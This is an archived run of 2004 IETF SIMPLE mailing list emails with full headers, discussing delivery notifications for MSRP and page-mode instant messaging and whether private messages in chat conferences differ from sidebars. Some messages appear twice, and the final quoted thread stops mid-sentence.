Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM9G-0000jx-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:30:15 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM8E-0000XR-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:29:10 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232S5C00155;
	Wed, 3 Mar 2004 04:28:25 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 04:27:59 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i232RxHf017254;
	Wed, 3 Mar 2004 04:27:59 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00zw8rIg; Wed, 03 Mar 2004 04:27:58 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232Rq721629;
	Wed, 3 Mar 2004 04:27:52 +0200 (EET)
Received: from nokia.com ([10.162.253.24]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 04:27:52 +0200
Message-ID: <404542A7.4000001@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Rohan Mahy <rohan@cisco.com>
CC: simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
In-Reply-To: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 02:27:52.0443 (UTC) FILETIME=[20F1DCB0:01C400C7]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 04:27:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hi Rohan,

I'm a little confused whether we're talking about MSRP or page-mode, or
both here.

I definitely agree that there is a need to get both bounces back to the
client (e.g. when the MESSAGE receives a 202 and is stored but later
delivery fails, or when using a message list server, where some
recipients return a non 2xx response); and also read-reports for when an
IM was actually rendered to a user and thus read.

I think these features are tremendously useful for page mode, but I'm
not sure they're all that useful for MSRP, which is already an
interactive form of communication. I.e., if I don't get my message
across, I can send it again - this time in block letters...

Cheers,
Aki

ext Rohan Mahy wrote:
> Hi,
> 
> I wanted to record an observation about how optional return receipt
> and delivery status notification should be for MSRP. This was
> inspired by Eric Burger's comments at the mic about how positive and
> negative acknowledgments have a different character.
> 
> Positive Acknowledgments: I may want to know about partial message
> delivery so I can interrupt and resume-in-place when transferring a
> large IM attachment (walk into the elevator example).
> 
> I may want to know just that a complete message was delivered
> 
> I may want to know that a complete message is queued/stored for user
> pickup
> 
> I may want to know that a complete message was displayed to the
> target end user
> 
> I may want to receive no messages at all about e2e delivery status
> 
> Negative Acknowledgements I may want to know that a message was not
> delivered due to a relay error and why
> 
> I may want to know that a message was not delivered because of a UA 
> error (and why)
> 
> I may not care if messages don't get delivered e2e (expecting just
> best effort)
> 
> We should figure out a way to indicate which of these you want.  The
>  mail folks have dealt with very, very similar problems.
> 
> Homework assignment for the working group: read and understand the 
> semantics of Delivery Status Notifications (RFC 3464) and Return 
> Receipts/Message Disposition Notifications (RFC 2298)
> 
> thanks, -rohan
> 
> 
> _______________________________________________ Simple mailing list 
> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:34:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22347
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:34:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMCt-0002qN-5B
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:33:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232XxvT010925
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:33:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMCt-0002q8-1S
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:33:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22290
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:33:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMCq-0001Of-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:33:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMBr-0001EU-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:32:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMAy-00014V-00; Tue, 02 Mar 2004 21:32:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMAy-0002Rp-MJ; Tue, 02 Mar 2004 21:32:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMAT-0002O0-CV
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:31:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22109
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:31:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMAQ-0000wu-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:31:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM9G-0000jx-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:30:15 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM8E-0000XR-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:29:10 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232S5C00155;
	Wed, 3 Mar 2004 04:28:25 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 04:27:59 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i232RxHf017254;
	Wed, 3 Mar 2004 04:27:59 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00zw8rIg; Wed, 03 Mar 2004 04:27:58 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232Rq721629;
	Wed, 3 Mar 2004 04:27:52 +0200 (EET)
Received: from nokia.com ([10.162.253.24]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 04:27:52 +0200
Message-ID: <404542A7.4000001@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Rohan Mahy <rohan@cisco.com>
CC: simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
In-Reply-To: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 02:27:52.0443 (UTC) FILETIME=[20F1DCB0:01C400C7]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 04:27:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi Rohan,

I'm a little confused whether we're talking about MSRP or page-mode, or
both here.

I definitely agree that there is a need to get both bounces back to the
client (e.g. when the MESSAGE receives a 202 and is stored but later
delivery fails, or when using a message list server, where some
recipients return a non 2xx response); and also read-reports for when an
IM was actually rendered to a user and thus read.

I think these features are tremendously useful for page mode, but I'm
not sure they're all that useful for MSRP, which is already an
interactive form of communication. I.e., if I don't get my message
across, I can send it again - this time in block letters...

Cheers,
Aki

ext Rohan Mahy wrote:
> Hi,
> 
> I wanted to record an observation about how optional return receipt
> and delivery status notification should be for MSRP. This was
> inspired by Eric Burger's comments at the mic about how positive and
> negative acknowledgments have a different character.
> 
> Positive Acknowledgments: I may want to know about partial message
> delivery so I can interrupt and resume-in-place when transferring a
> large IM attachment (walk into the elevator example).
> 
> I may want to know just that a complete message was delivered
> 
> I may want to know that a complete message is queued/stored for user
> pickup
> 
> I may want to know that a complete message was displayed to the
> target end user
> 
> I may want to receive no messages at all about e2e delivery status
> 
> Negative Acknowledgements I may want to know that a message was not
> delivered due to a relay error and why
> 
> I may want to know that a message was not delivered because of a UA 
> error (and why)
> 
> I may not care if messages don't get delivered e2e (expecting just
> best effort)
> 
> We should figure out a way to indicate which of these you want.  The
>  mail folks have dealt with very, very similar problems.
> 
> Homework assignment for the working group: read and understand the 
> semantics of Delivery Status Notifications (RFC 3464) and Return 
> Receipts/Message Disposition Notifications (RFC 2298)
> 
> thanks, -rohan
> 
> 
> _______________________________________________ Simple mailing list 
> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:34:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22384
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:34:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMDp-0001ZZ-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:34:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMCr-0001Os-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:33:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMBv-0001F1-00; Tue, 02 Mar 2004 21:32:59 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMBw-0002ZE-J8; Tue, 02 Mar 2004 21:33:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMB5-0002Sk-Ji
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:32:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22155
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:32:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMB2-000150-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:32:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMA5-0000tf-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:31:05 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM90-0000i8-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:29:58 -0500
Received: from nokia.com (esnira-pool301416.nokia.com [10.162.14.16])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232TkC02424;
	Wed, 3 Mar 2004 04:29:47 +0200 (EET)
Message-ID: <40454319.5040000@nokia.com>
From: Miguel Garcia <Miguel.An.Garcia@nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en, es-es
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>,
        ext Paul Kyzivat <pkyzivat@cisco.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B648C@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B648C@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 04:29:45 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I'll be there too

ext Rosen, Brian wrote:

> Okay, lunch tomorrow. Meet at reg area.  
> 
> Brian
> 
> 
>>-----Original Message-----
>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>Sent: Tuesday, March 02, 2004 9:12 PM
>>To: ext Paul Kyzivat
>>Cc: Rosen, Brian; ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
>>'simple@ietf.org'
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>Yeah, me too. Lunch tomorrow sounds good.
>>
>>Cheers,
>>Aki
>>
>>ext Paul Kyzivat wrote:
>>
>>>I'm game. Who cares? This is in the overlap area between 
>>
>>simple and xcon 
>>
>>>I think. How about lunch tomorrow, after xcon?
>>>
>>>    Paul
>>>
>>>Rosen, Brian wrote:
>>>
>>>
>>>>How are we going to resolve this?
>>>>
>>>>Most of us are here.  Can we get together?
>>>>
>>>>Brian
>>>>
>>>>
>>>>
>>>>>-----Original Message-----
>>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>>Sent: Tuesday, March 02, 2004 6:44 PM
>>>>>To: Niemi Aki (Nokia-M/Espoo)
>>>>>Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
>>
>>Markus.Isomaki@nokia.com;
>>
>>>>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
>>
>>simple@ietf.org
>>
>>>>>Subject: Re: [Simple] Chat sessions
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>Niemi Aki (Nokia-M/Espoo) wrote:
>>>>>
>>>>>
>>>>>>>>Of course you can't do private messages with voice. Voice 
>>>>>>>
>>>>>>>
>>>>>and IM are
>>>>>
>>>>>
>>>>>>>>inherently different. You can't send private voice 
>>>>>>>
>>>>>>>
>>>>>packets to another
>>>>>
>>>>>
>>>>>>>>participant of a conference, simply because there 
>>
>>isn't a way to 
>>
>>>>>>>>single out a participant in a conference by directly 
>>
>>addressing 
>>
>>>>>>>>packets there. It also makes mixing really 
>>
>>complicated, because a 
>>
>>>>>>>>private voice stream might overlap with the rest of the 
>>>>>>>
>>>>>>>
>>>>>conference.
>>>>>
>>>>>
>>>>>>>>These don't present a problem for IM; the sender can 
>>>>>>>
>>>>>>>
>>>>>single out the
>>>>>
>>>>>
>>>>>>>>recipient using the cpim To header field and the 
>>
>>recipient UA can 
>>
>>>>>>>>simply mark a message as private and render it to the 
>>>>>>>
>>>>>>>
>>>>>same UI as the
>>>>>
>>>>>
>>>>>>>>rest of the IMs in that conference.
>>>>>>>
>>>>>>>
>>>>>>>I protest.  There is no logical difference.  There is 
>>
>>no protocol
>>
>>>>>>>difference.  In most cases, there is no practical 
>>
>>difference.  You
>>
>>>>>>>send media to some address, you get media from some 
>>
>>address.  You
>>
>>>>>>>render it.  IM or voice or video is all just media, and 
>>
>>its handled
>>
>>>>>>>the same way.  You might have "centralized" or 
>>>>>>
>>>>>>
>>>>>"distributed" mixers.
>>>>>
>>>>>
>>>>>>>Most IM systems, as implemented, are centralized 
>>
>>mixers.  You send
>>
>>>>>>>all media to the mixer, it sends media to you.  There is nothing
>>>>>>>special with IM.  You need some signaling for a private message.
>>>>>>>You can use the same signaling for a sidebar or a whisper.
>>>>>>
>>>>>>
>>>>>>Hmm.. which systems are these? The ones I've used have 
>>
>>both private 
>>
>>>>>>messages *and* sidebars.
>>>>>
>>>>>
>>>>>It seems that in principle the difference between sidebars and 
>>>>>private messages is simply one of UI design. A particular client 
>>>>>could support one or the other, or both.
>>>>>
>>>>>But you also seem to require that the initiator be able to choose 
>>>>>which user experience the recipients will have. That 
>>
>>turns it into a 
>>
>>>>>protocol issue. In general I would consider this a bad 
>>
>>idea. But it 
>>
>>>>>is largely a human factors issue, and I don't feel qualified to 
>>>>>comment on it except from the perspective of personal 
>>
>>preference. But 
>>
>>>>>it seems that whole discussion hinges on whether there is a valid 
>>>>>requirement for giving senders that degree of control 
>>
>>over recipients.
>>
>>>>>    Paul
>>>>>
>>>>
>>>>
>>>>_______________________________________________
>>>>Simple mailing list
>>>>Simple@ietf.org
>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>

-- 
Miguel A. Garcia           tel:+358-50-4804586
Nokia Research Center      Helsinki, Finland


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:35:28 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22456
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:35:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMDt-0002xZ-AM
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:35:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232Z1Z6011370
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:35:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMDs-0002xJ-TO
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:35:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22393
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:34:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMDp-0001Zf-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:34:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMCr-0001Oz-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:33:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMBv-0001F1-00; Tue, 02 Mar 2004 21:32:59 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMBw-0002ZE-J8; Tue, 02 Mar 2004 21:33:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMB5-0002Sk-Ji
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:32:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22155
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:32:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMB2-000150-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:32:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMA5-0000tf-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:31:05 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM90-0000i8-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:29:58 -0500
Received: from nokia.com (esnira-pool301416.nokia.com [10.162.14.16])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232TkC02424;
	Wed, 3 Mar 2004 04:29:47 +0200 (EET)
Message-ID: <40454319.5040000@nokia.com>
From: Miguel Garcia <Miguel.An.Garcia@nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en, es-es
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>,
        ext Paul Kyzivat <pkyzivat@cisco.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B648C@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B648C@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 04:29:45 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I'll be there too

ext Rosen, Brian wrote:

> Okay, lunch tomorrow. Meet at reg area.  
> 
> Brian
> 
> 
>>-----Original Message-----
>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>Sent: Tuesday, March 02, 2004 9:12 PM
>>To: ext Paul Kyzivat
>>Cc: Rosen, Brian; ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
>>'simple@ietf.org'
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>Yeah, me too. Lunch tomorrow sounds good.
>>
>>Cheers,
>>Aki
>>
>>ext Paul Kyzivat wrote:
>>
>>>I'm game. Who cares? This is in the overlap area between 
>>
>>simple and xcon 
>>
>>>I think. How about lunch tomorrow, after xcon?
>>>
>>>    Paul
>>>
>>>Rosen, Brian wrote:
>>>
>>>
>>>>How are we going to resolve this?
>>>>
>>>>Most of us are here.  Can we get together?
>>>>
>>>>Brian
>>>>
>>>>
>>>>
>>>>>-----Original Message-----
>>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>>Sent: Tuesday, March 02, 2004 6:44 PM
>>>>>To: Niemi Aki (Nokia-M/Espoo)
>>>>>Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
>>
>>Markus.Isomaki@nokia.com;
>>
>>>>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
>>
>>simple@ietf.org
>>
>>>>>Subject: Re: [Simple] Chat sessions
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>Niemi Aki (Nokia-M/Espoo) wrote:
>>>>>
>>>>>
>>>>>>>>Of course you can't do private messages with voice. Voice 
>>>>>>>
>>>>>>>
>>>>>and IM are
>>>>>
>>>>>
>>>>>>>>inherently different. You can't send private voice 
>>>>>>>
>>>>>>>
>>>>>packets to another
>>>>>
>>>>>
>>>>>>>>participant of a conference, simply because there 
>>
>>isn't a way to 
>>
>>>>>>>>single out a participant in a conference by directly 
>>
>>addressing 
>>
>>>>>>>>packets there. It also makes mixing really 
>>
>>complicated, because a 
>>
>>>>>>>>private voice stream might overlap with the rest of the 
>>>>>>>
>>>>>>>
>>>>>conference.
>>>>>
>>>>>
>>>>>>>>These don't present a problem for IM; the sender can 
>>>>>>>
>>>>>>>
>>>>>single out the
>>>>>
>>>>>
>>>>>>>>recipient using the cpim To header field and the 
>>
>>recipient UA can 
>>
>>>>>>>>simply mark a message as private and render it to the 
>>>>>>>
>>>>>>>
>>>>>same UI as the
>>>>>
>>>>>
>>>>>>>>rest of the IMs in that conference.
>>>>>>>
>>>>>>>
>>>>>>>I protest.  There is no logical difference.  There is 
>>
>>no protocol
>>
>>>>>>>difference.  In most cases, there is no practical 
>>
>>difference.  You
>>
>>>>>>>send media to some address, you get media from some 
>>
>>address.  You
>>
>>>>>>>render it.  IM or voice or video is all just media, and 
>>
>>its handled
>>
>>>>>>>the same way.  You might have "centralized" or 
>>>>>>
>>>>>>
>>>>>"distributed" mixers.
>>>>>
>>>>>
>>>>>>>Most IM systems, as implemented, are centralized 
>>
>>mixers.  You send
>>
>>>>>>>all media to the mixer, it sends media to you.  There is nothing
>>>>>>>special with IM.  You need some signaling for a private message.
>>>>>>>You can use the same signaling for a sidebar or a whisper.
>>>>>>
>>>>>>
>>>>>>Hmm.. which systems are these? The ones I've used have 
>>
>>both private 
>>
>>>>>>messages *and* sidebars.
>>>>>
>>>>>
>>>>>It seems that in principle the difference between sidebars and 
>>>>>private messages is simply one of UI design. A particular client 
>>>>>could support one or the other, or both.
>>>>>
>>>>>But you also seem to require that the initiator be able to choose 
>>>>>which user experience the recipients will have. That 
>>
